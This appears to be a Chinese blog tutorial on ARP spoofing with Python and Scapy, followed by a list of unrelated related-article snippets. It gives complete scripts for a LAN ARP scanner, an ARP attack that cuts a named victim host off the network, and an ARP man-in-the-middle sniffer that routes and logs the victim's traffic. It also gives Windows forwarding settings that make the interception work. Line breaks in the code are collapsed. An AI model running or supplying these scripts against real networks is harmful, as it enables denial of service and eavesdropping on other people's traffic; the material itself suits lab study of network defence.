21.6 Python 构建ARP中间人数据包
ARP中间人攻击(ARP spoofing)是一种利用本地网络的ARP协议漏洞进行欺骗的攻击方式,攻击者会向目标主机发送虚假ARP响应包,使得目标主机的ARP缓存中的IP地址和MAC地址映射关系被篡改,从而使得目标主机将网络流量发送到攻击者指定的虚假MAC地址。攻击者可以在不被发现的情况下窃取目标主机的网络流量、信息等,也可以进行其他的恶意行为,如中间人攻击、监听等。
首先我们来实现一个简单的ARP扫描功能,要实现ARP探测功能很容易,如下代码中我们分别封装实现两个函数,函数Parse_IP用于传入一个IP地址字符串自动生成该网段内的所有主机数,函数ARP_Scan则用于发送ARP数据包,在构造时直接使用ARP函数即可,构造后通过sr1将其发送出去并等待返回结果。
from scapy.all import *
import argparse
import threading,time
import logging# 生成网段信息,例如输入: 192.168.1.1/20 生成1-20地址
def Parse_IP(targets):_split = targets.split('/')first_ip = _split[0]ip_split = first_ip.split('.')ipv4 = range(int(ip_split[3]),int(_split[1])+1)addr = [ ip_split[0]+'.'+ip_split[1]+'.'+ip_split[2]+'.'+str(p) for p in ipv4 ]return addr# 通过ARP协议扫描局域网中在线的设备
def ARP_Scan(address):try:ret = sr1(ARP(pdst=address),timeout=5,verbose=False)if ret:if ret.haslayer('ARP') and ret.fields['op'] == 2:print('[+] IP地址: %-13s ==> MAC地址: %-15s' %(ret.fields['psrc'],ret.fields['hwsrc']))except Exception:exit(1)if __name__ == "__main__":logging.getLogger("scapy.runtime").setLevel(logging.ERROR)parser = argparse.ArgumentParser()parser.add_argument("-s","--scan",dest="scan",help="输入一个扫描网段")args = parser.parse_args()# 使用方式: main.py -s 192.168.1.1/100if args.scan:addr_list = Parse_IP(args.scan)for item in addr_list:threads = []t = threading.Thread(target=ARP_Scan,args=(item,))threads.append(t)t.start()for item in threads:item.join()else:parser.print_help()
上述代码通过指定-s并传入一个地址网段192.168.9.0/24则自动计算该网段主机数,并依次对主机进行存活检测,输出效果图如下所示;

当我们能够得到内网中特定主机的IP地址以及MAC地址后,则下一步就可以使用ARP断网攻击了,该攻击原理是攻击者在目标网络中发送虚假的ARP响应包,使得目标设备误认为网关的MAC地址已经更改为攻击者的MAC地址,导致目标设备无法正常访问外部网络,从而达到网络断网的目的。
读者在使用ARP断网之前还是需要通过ipconfig /all命令确定当前网卡的网卡名称,如下图所示网卡描述则是我们需要的东西;

接着来看一下如何实现ARP断网攻击的,断网攻击的核心在于SendPayLoad函数,该函数每次调用都将发送两个数据包,第一个数据包用于伪造网关欺骗目标计算机我是网关,第二个数据包用于伪造被欺骗计算机,用于向网关表明身份,有了这两个数据包并配合多线程发包则此时被攻击主机将会出现网络无法连接的情况。
from scapy.all import *
import argparse
import threading,time
import logging# 创建并发送有效载荷
def SendPayload(Interface,srcMac,tgtMac,gateWayMac,gatewayIP,tgtIP):print("[+] 目标MAC: {} 目标IP: {} 发送: 2 packets".format(tgtMac,tgtIP))# 生成ARP数据包,伪造网关欺骗目标计算机sendp(Ether(src=srcMac,dst=tgtMac)/ARP(hwsrc=srcMac,psrc=gatewayIP,hwdst=tgtMac,pdst=tgtIP,op=2),iface=Interface)# 生成ARP数据包,伪造目标计算机欺骗网关sendp(Ether(src=srcMac,dst=gatewayMac)/ARP(hwsrc=srcMac,psrc=tgtIP,hwdst=gatewayMac,pdst=gatewayIP,op=2),iface=Interface)if __name__ == "__main__":parser = argparse.ArgumentParser()parser.add_argument("-i","--interface",dest="interface",help="输入接口名")parser.add_argument("-g","--gateway",dest="gateway",help="输入网关地址")parser.add_argument("-t","--target",dest="target",help="输入被害主机地址")args = parser.parse_args()# 使用方式: main.py -i "Intel(R) Ethernet Connection (7) I219-LM" -g 192.168.9.1 -t 192.168.9.10if args.gateway and args.target:srcMac = get_if_hwaddr(args.interface) # 通过接口名称获取本机MAC地址tgtMac = getmacbyip(args.target) # 通过IP地址获取目标计算机的MAC地址gatewayMac = getmacbyip(args.gateway) # 指定本机网段的网关MAC地址while True:t = threading.Thread(target=SendPayload,args=(args.interface,srcMac,tgtMac,gatewayMac,args.gateway,args.target))t.start()t.join()time.sleep(1)else:parser.print_help()
读者在调用时需要传入三个参数,首先通过-i传入网卡名称,接着通过-g指定当前网段内网关名称,使用-t用于指定被害主机地址,运行后如下图所示;

有了ARP断网接着就来实现ARP嗅探功能,针对断网攻击对于攻击者来说其实无法得到更多有用的数据,我们还是希望能够监控目标主机的数据包,并通过分析数据包得知一些特殊操作,为了实现这个功能,就需要改进断网程序让其具备嗅探的功能,要实现嗅探而不是断网则需要进行两步配置,首先需要开启注册表转发功能,此处可以输入命令regedit打开注册表编辑器,并在其中定位到:
- HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Tcpip/Parameters
选择下面的项目IPEnableRouter:REG_DWORD:0x0 找到项目鼠标右键修改数值为1至此即可开启主机的IP数据路由功能。

接着读者还需要打开系统服务菜单,并找到Routing And RemoteAccess数据包转发服务,此处如果没有打开请自行将其开启,当开启后我们的主机将会具备路由转发功能,这样即可实现模拟路由器的效果。

嗅探的原理很简单,如下是一个完整的数据包嗅探工具,其中createArp2Station函数用于生成伪造网关的数据包用于欺骗客户端,createArp2Gateway函数则用于伪造目标主机数据包并欺骗网关,当有了这两个函数,再配合sniff抓包即可实现数据包的捕获,如果读者需要自行分析数据包来往则可以自定义Packet_CallBack回调函数实现。
import sys,os,threading
import argparse
from scapy.all import *# 生成ARP数据包,伪造网关欺骗目标计算机
def createArp2Station(interface,target_ip,gateway_ip):dst_Mac=str(getmacbyip(target_ip))self_Mac=str(get_if_hwaddr(interface))Ether_data=Ether(src=self_Mac,dst=dst_Mac) / ARP(op=2,hwsrc=self_Mac,psrc=gateway_ip,hwdst=dst_Mac,pdst=target_ip)try:sendp(Ether_data,inter=2,iface=interface,loop=1)except Exception as e:print("目标ARP数据发送失败!")# 生成ARP数据包,伪造目标计算机欺骗网关
def createArp2Gateway(interface,target_ip,gateway_ip):dst_Mac = getmacbyip(gateway_ip)self_Mac = get_if_hwaddr(interface)Ether_data = NoneEther_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc=self_Mac, psrc=target_ip, hwdst=dst_Mac, pdst=gateway_ip)try:sendp(Ether_data, inter=2,iface=interface,loop=1)except Exception as e:print("网关ARP数据发送失败!")def Packet_CallBack(pkt):if pkt.haslayer(IP):if pkt.getlayer(IP).src != "127.0.0.1":ip_src = pkt.getlayer(IP).srcip_dst = pkt.getlayer(IP).dstprint("源地址: {} ---> 目标地址: {}".format(ip_src,ip_dst))if __name__ == "__main__":# 使用方式: main.py -i "Intel(R) Ethernet Connection (7) I219-LM" -g 192.168.9.1 -t 192.168.9.10parser = argparse.ArgumentParser()parser.add_argument("-i","--interface",dest="interface",help="输入网卡名称")parser.add_argument("-t","--target_ip",dest="target_ip",help="输入目标主机IP")parser.add_argument("-g","--gateway",dest="gateway",help="输入网关地址")args = parser.parse_args()if args.interface and args.target_ip and args.gateway:try:t1=threading.Thread(target=createArp2Station,args=(args.interface,args.target_ip,args.gateway))t1.setDaemon(True)t1.start()t2=threading.Thread(target=createArp2Gateway,args=(args.interface,args.target_ip,args.gateway))t2.setDaemon(True)t2.start()sniff(prn=Packet_CallBack,filter="tcp",iface=args.interface)except Exception:sys.exit(1)while True:passelse:parser.print_help()
读者可自行运行上述程序,并通过-i属性指定网卡名,通过-g属性指定网关地址,通过-t指定为被害主机地址,运行后读者即可看到被害主机的数据包流向信息,如下图所示;

此时被害主机的所有数据包都会经过我们的主机,读者可打开WireShark并启动抓包,此时输入输入不同的过滤语句,即可指定需要查看的数据包类型,此时我们就是实现了对特定主机的监控,当然这种监控数据包会掺杂我们自己的主机发出的,读者可自行编写过滤规则实现过滤;

相关文章:
21.6 Python 构建ARP中间人数据包
ARP中间人攻击(ARP spoofing)是一种利用本地网络的ARP协议漏洞进行欺骗的攻击方式,攻击者会向目标主机发送虚假ARP响应包,使得目标主机的ARP缓存中的IP地址和MAC地址映射关系被篡改,从而使得目标主机将网络流量发送到攻…...
DVWA靶场SQL注入
本次注入的是DVWA靶场的SQL injection 1.判断是字符型注入还是数字型注入,构造SQL语句 1 and 12 由此可以判断出为字符型注入 2.考虑闭合方式,先随便丢一个单引号试试看看报错提示 You have an error in your SQL syntax; check the manual that cor…...
AD教程 (九)导线及NetLabel的添加
AD教程 (九)导线及NetLabel的添加 添加导线 绘制导线 点击放置,选择线,或者直接CtrlW快速绘制注意要与绘图工具中的线区别开来,导线是具有电气属性的,绘图工具中的线没有电气属性,只是辅助线绘制导线过程…...
Rust函数进阶
文章目录 函数函数中的函数lambda表达式函数作为参数 Rust系列:初步⚙所有权⚙结构体和枚举类 函数 先来回顾一下Rust中函数的创建过程,在Rust中,函数用fn声明,如有传入参数或返回值,都需要声明数据类型,…...
springboot前后端时间类型传输
springboot前后端时间类型传输 前言1.java使用时间类型java.util.Date2.java使用localDateTime 前言 springboot前后端分离项目总是需要进行时间数据类型的接受和转换,针对打代码过程中不同的类型转化做个总结 1.java使用时间类型java.util.Date springboot的项目中使用了new …...
Deepin安装英特尔AX200 Wifi驱动
谁支持我的 Linux* 驱动程序? Linux 驱动程序是上游 Linux* 内核的一部分。它们通过常规渠道、分发,或 Linux* 内核档案 提供。我们仅支持作为内核版本中一部分的驱动程序的使用。请参阅下表以了解 iwlwifi 驱动程序支持的设备的列表。 在 英特尔 Wi-Fi…...
第十九节——vue内置组件
Vue提供了一些内置的组件,这些组件可以在Vue应用中直接使用,无需额外安装或配置。以下是一些常见的Vue内置组件 一、<transition> 和 <transition-group> 1、概念 <transition> 组件用于在元素插入或移除时应用过渡效果,…...
路由器基础(二): BGP原理与配置
BGP 是边界网关协议,目前版本为BGP4, 是一种增强的距离矢量路由协议。该协议运行在不同AS 的路由器之间,用于选择AS之间花费最小的协议。BGP协议基于TCP协议,端口为179。使用面向连接的TCP 可以进行身份认证,可靠地交换路由信息。…...
【漏洞复现】Django _2.0.8_任意URL跳转漏洞(CVE-2018-14574)
感谢互联网提供分享知识与智慧,在法治的社会里,请遵守有关法律法规 文章目录 1.1、漏洞描述1.2、漏洞等级1.3、影响版本1.4、漏洞复现1、基础环境2、漏洞扫描3、漏洞验证 1.5、修复建议 说明内容漏洞编号CVE-2018-14574漏洞名称Django任意URL跳转漏洞漏洞…...
【广州华锐互动】军用飞机VR实战训练系统
随着科技的飞速发展,虚拟现实(VR)技术为军事训练带来了前所未有的机遇。军用飞机VR实战训练系统,正是在这一背景下应运而生的一种创新的训练方法。该系统利用先进的虚拟现实技术,为飞行员提供真实且逼真的模拟飞行环境,使之能够在…...
AI生图王者之战!深度体验实测,谁是真正的艺术家?
10月11日凌晨,设计软件巨头Adobe宣布推出一系列图像生成模型,其中Firefly Image 2作为新一代图像生成器,通过改善皮肤、头发、眼睛、手和身体结构增强了人体渲染质量,提供更好的色彩和改进的动态范围,并为用户提供更大…...
Spring Cloud - 手写 Gateway 源码,实现自定义局部 FilterFactory
目录 一、FilterFactory 分析 1.1、前置知识 1.2、分析源码 1.2.1、整体分析 1.2.2、源码分析 1.3、手写源码 1.3.1、基础框架 1.3.2、实现自定义局部过滤器 1.3.3、加参数的自定义局部过滤器器 一、FilterFactory 分析 1.1、前置知识 前面的学习我们知道,…...
14、Python继承和多态:基础继承、方法重写、多态的基本概念
文章目录 基础继承方法重写多态在编程语言中,特别是在面向对象编程(OOP)中,继承和多态是两个核心概念,它们提供了代码重用和接口设计的强大工具。Python 作为一种支持 OOP 的语言,也具备这些特性。 基础继承 继承是面向对象编程的一个基本概念,它允许我们定义一个类(…...
聊聊logback的StatusManager
序 本文主要研究一下logback的StatusManager StatusManager ch/qos/logback/core/status/StatusManager.java public interface StatusManager {/*** Add a new status message.* * param status*/void add(Status status);/*** Obtain a copy of the status list maintain…...
[PyTorch][chapter 61][强化学习-免模型学习1]
前言: 在现实的学习任务中,环境 其中的转移概率P,奖赏函数R 是未知的,或者状态X也是未知的 称为免模型学习(model-free learning) 目录: 1: 蒙特卡洛强化学习 2:同策略-蒙特卡洛强化学习 3&am…...
网络运维Day04-补充
文章目录 周期性计划任务周期性计划任务使用案例一案例二 周期性计划任务 在固定时间可以完成相同的任务,被称之为周期性计划任务由crond服务提供需要将定时任务,写到一个文件书写格式如下 分 时 日 月 周 任务(绝对路径)分:0-59时ÿ…...
前端埋点方式
前言: 想要了解用户在系统中所做的操作,从而得出用户在本系统中最常用的模块、在系统中停留的时间。对于了解用户的行为、分析用户的需求有很大的帮助,想实现这种需求可以通过前端埋点的方式。 埋点方式: 1.什么是埋点?…...
iOS导航栏返回按钮
导航栏返回按钮隐藏: override func pushViewController(_ viewController: UIViewController, animated: Bool) {if let vc self.viewControllers.last {let backItem UIBarButtonItem()backItem.title ""vc.navigationItem.backBarButtonItem backI…...
2023中国视频云市场报告:腾讯云音视频解决方案份额连续六次蝉联榜首,加速全球化布局
近日,国际数据公司(IDC)发布了《中国视频云市场跟踪(2023上半年)》报告,腾讯云音视频的解决方案份额连续六次蝉联榜首,并在视频生产创作与媒资管理市场份额中排名第一。同时,在实时音…...
jpa Repository的常用写法总结
一、前言 之前项目在xml中写sql,感觉标签有很多,比较灵活; 最近在写新项目,使用了jpa,只能在java中写sql了,感觉不太灵活,但是也得凑付用。 以下总结下常用入参出参写法。 二、Repository代…...
Ubuntu系统下交叉编译openssl
一、参考资料 OpenSSL&&libcurl库的交叉编译 - hesetone - 博客园 二、准备工作 1. 编译环境 宿主机:Ubuntu 20.04.6 LTSHost:ARM32位交叉编译器:arm-linux-gnueabihf-gcc-11.1.0 2. 设置交叉编译工具链 在交叉编译之前&#x…...
服务器硬防的应用场景都有哪些?
服务器硬防是指一种通过硬件设备层面的安全措施来防御服务器系统受到网络攻击的方式,避免服务器受到各种恶意攻击和网络威胁,那么,服务器硬防通常都会应用在哪些场景当中呢? 硬防服务器中一般会配备入侵检测系统和预防系统&#x…...
【Java_EE】Spring MVC
目录 Spring Web MVC 编辑注解 RestController RequestMapping RequestParam RequestParam RequestBody PathVariable RequestPart 参数传递 注意事项 编辑参数重命名 RequestParam 编辑编辑传递集合 RequestParam 传递JSON数据 编辑RequestBody …...
零基础设计模式——行为型模式 - 责任链模式
第四部分:行为型模式 - 责任链模式 (Chain of Responsibility Pattern) 欢迎来到行为型模式的学习!行为型模式关注对象之间的职责分配、算法封装和对象间的交互。我们将学习的第一个行为型模式是责任链模式。 核心思想:使多个对象都有机会处…...
ios苹果系统,js 滑动屏幕、锚定无效
现象:window.addEventListener监听touch无效,划不动屏幕,但是代码逻辑都有执行到。 scrollIntoView也无效。 原因:这是因为 iOS 的触摸事件处理机制和 touch-action: none 的设置有关。ios有太多得交互动作,从而会影响…...
算法笔记2
1.字符串拼接最好用StringBuilder,不用String 2.创建List<>类型的数组并创建内存 List arr[] new ArrayList[26]; Arrays.setAll(arr, i -> new ArrayList<>()); 3.去掉首尾空格...
AGain DB和倍数增益的关系
我在设置一款索尼CMOS芯片时,Again增益0db变化为6DB,画面的变化只有2倍DN的增益,比如10变为20。 这与dB和线性增益的关系以及传感器处理流程有关。以下是具体原因分析: 1. dB与线性增益的换算关系 6dB对应的理论线性增益应为&…...
CRMEB 中 PHP 短信扩展开发:涵盖一号通、阿里云、腾讯云、创蓝
目前已有一号通短信、阿里云短信、腾讯云短信扩展 扩展入口文件 文件目录 crmeb\services\sms\Sms.php 默认驱动类型为:一号通 namespace crmeb\services\sms;use crmeb\basic\BaseManager; use crmeb\services\AccessTokenServeService; use crmeb\services\sms\…...
Qemu arm操作系统开发环境
使用qemu虚拟arm硬件比较合适。 步骤如下: 安装qemu apt install qemu-system安装aarch64-none-elf-gcc 需要手动下载,下载地址:https://developer.arm.com/-/media/Files/downloads/gnu/13.2.rel1/binrel/arm-gnu-toolchain-13.2.rel1-x…...
MyBatis中关于缓存的理解
MyBatis缓存 MyBatis系统当中默认定义两级缓存:一级缓存、二级缓存 默认情况下,只有一级缓存开启(sqlSession级别的缓存)二级缓存需要手动开启配置,需要局域namespace级别的缓存 一级缓存(本地缓存&#…...
